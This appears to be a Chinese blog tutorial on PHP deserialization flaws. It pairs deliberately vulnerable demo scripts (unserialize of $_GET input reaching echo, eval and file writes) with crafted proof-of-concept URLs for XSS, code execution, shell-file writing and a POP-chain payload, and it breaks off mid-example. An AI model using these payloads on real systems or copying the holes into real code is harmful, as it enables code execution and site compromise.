一直想研究下php反序列化漏洞,花了几天时间做了个简单的了解。。写篇文章记录下。
直白点就是围绕着serialize和unserialize两个函数。
一个用于序列化,一个用于反序列化。
我们通常把字符串/数组/对象进行序列化,然后再反序列化被序列化的字符串/数组/对象
简单写个demo1.php
<?php
$a="test"; //字符串
$arr = array('j' => 'jack' ,'r' => 'rose'); //数组
class A{
public $test="yeah";
}
echo "序列化:";
echo "</br>";
$aa=serialize($a);
print_r($aa);
echo "</br>";
$arr_a=serialize($arr);
print_r($arr_a);
echo "</br>";
$class1 = new A(); //对象
$class_a=serialize($class1);
print_r($class_a);
echo "<br/>";
echo "反序列化:";
echo "<br/>";
print_r(unserialize($aa));
echo "</br>";
print_r(unserialize($arr_a));
echo "</br>";
print_r(unserialize($class_a));
?>
如果说反序列化可能带来安全问题,那么一定是序列化构造了危险代码,当进行反序列化相当于解码操作的时候自动执行了。
我们本地测试下,当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss:
代码:
<?php
$a="test"; //字符串
$arr = array('j' => 'jack' ,'r' => 'rose'); //数组
class A{
public $test="<img src=1 onerror=alert(1)>";
}
echo "序列化:";
echo "</br>";
$aa=serialize($a);
print_r($aa);
echo "</br>";
$arr_a=serialize($arr);
print_r($arr_a);
echo "</br>";
$class1 = new A(); //对象
$class_a=serialize($class1);
print_r($class_a);
echo "<br/>";
echo "反序列化:";
echo "<br/>";
print_r(unserialize($aa));
echo "</br>";
print_r(unserialize($arr_a));
echo "</br>";
print_r(unserialize($class_a));
?>
我们可以尝试本地修改需要被序列化的字符串/数组/对象。
通过上面的小demo我们简单的了解了反序列化导致的一些安全问题。
下面是对它的深入理解:
首先解释下demo1序列化后的含义:
$a="test"; 序列化后的结果是:s:4:"test";
含义:s =string类型 4代表字符串长度,"test"代表字符串内容
$arr = array('j' => 'jack' ,'r' => 'rose');序列化后的结果是:a:2:{s:1:"j";s:4:"jack";s:1:"r";s:4:"rose";}
含义:a代表array数组类型,2代表数组长度2个,s代表string,4代表字符串长度,jack是字符串内容,依此类推。
class A{public $test="yeah"}创建对象后,序列化后的结果是:O:1:"A":1:{s:4:"test";s:4:"yeah";}
含义:O表示存储的对象(object类型),1代表对象名称有1个字符,就是A,A是对象名称,1表示有一个值,s代表string类型,4代表字符串长度,test代表字符串名称,依此类推。
我感觉我写的很详细了,下面来点案例说明反序列化漏洞吧:
魔术方法,php有一些魔术方法,参考:https://secure.php.net/manual/zh/language.oop5.magic.php
划重点,简单讲解下对反序列化有用的魔法函数,详细了解查看手册:
__construct 构造函数,创建对象时自动调用
__wakeup 使用unserialse()函数时会自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
写一段存在安全问题的demo:
那么我用__wakeup演示下,__destruct也可以,因为__destruct 会被自动调用
demo2.php
<?php
class A{
var $test = "demo";
function __wakeup(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
发现反序列化可控序列化代码,并且一旦反序列化会走魔法方法__wakeup并且输出test
构造序列化poc:
$b = new A();
$c = serialize($b);
echo $c;
输出:O:1:"A":1:{s:4:"test";s:4:"demo";}
demo是$test变量,尝试修改$test的值是<img src=1 onerror=alert(1)>
注意前面的长度:
构造poc: http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}
直接导致xss攻击。如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行危害巨大!
我们来尝试修改echo改成eval这种php执行代码函数:
<?php
class A{
var $test = "demo";
function __wakeup(){
eval($this->test);
}
}
$b = new A();
$c = serialize($b);
echo $c;
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
直接构造poc:
http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
使用pyhhon判断长度很方便
如果把10改成11就不能正常执行:
序列化要一一匹配。
关于文件操作结合反序列化导致的安全问题:
网站根目录存在shell.php
demo3.php
<?php
//为显示效果,把这个shell.php包含进来
require "shell.php";
class A{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$a= new A();
print_r(serialize($a));
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
?>
构造poc:
http://172.16.6.231/fanxulie/demo3.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
测试发现当使用unserialize()的时候会自动调用魔术方法__wakeup或__destruct,所以往往安全问题都在__wakeup和__destruct魔术方法中。那么__construct()构造方法就没利用价值吗?非也,非也。如果__wekeup创建了对象,那么就会自动调用__construct(),演示例子:
demo4.php
<?php
require "shell.php";
class B{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class A{
var $test = '123';
function __wakeup(){
$obj = new B($this->test);
}
}
$class1 = $_GET['test'];
echo "</br>";
$class1_unser = unserialize($class1);
?>
构造poc:http://172.16.6.231/fanxulie/demo4.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
首先unserialize()会自动调用__wakeup(),__wakeup中创建了对象,从而自动调用了__construct(),会执行__construct()内的操作。
利用普通成员方法的反序列化漏洞研究:
上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通方法中,该如何利用呢?
demo5.php
<?php
class maniac{
public $test;
function __construct(){
$this->test =new x1();
}
function __destruct(){
$this->test->action();
}
}
class x1{
function action(){
echo "x1";
}
}
class x2{
public $test2;
function action(){
eval($this->test2);
}
}
$class2 = new maniac();
unserialize($_GET['test']);
?>
我们发现类的普通方法调用eval函数,这个函数很危险,如果可控就可能造成代码执行。
通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以他会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中,构造如下序列化代码:
serialize_demo5.php
<?php
class maniac{
public $test;
function __construct(){
$this->test = new x2();
}
}
class x2{
public $test2="phpinfo();";
}
$class1 = new maniac();
print_r(serialize($class1))
?>
序列化值:O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
构造poc: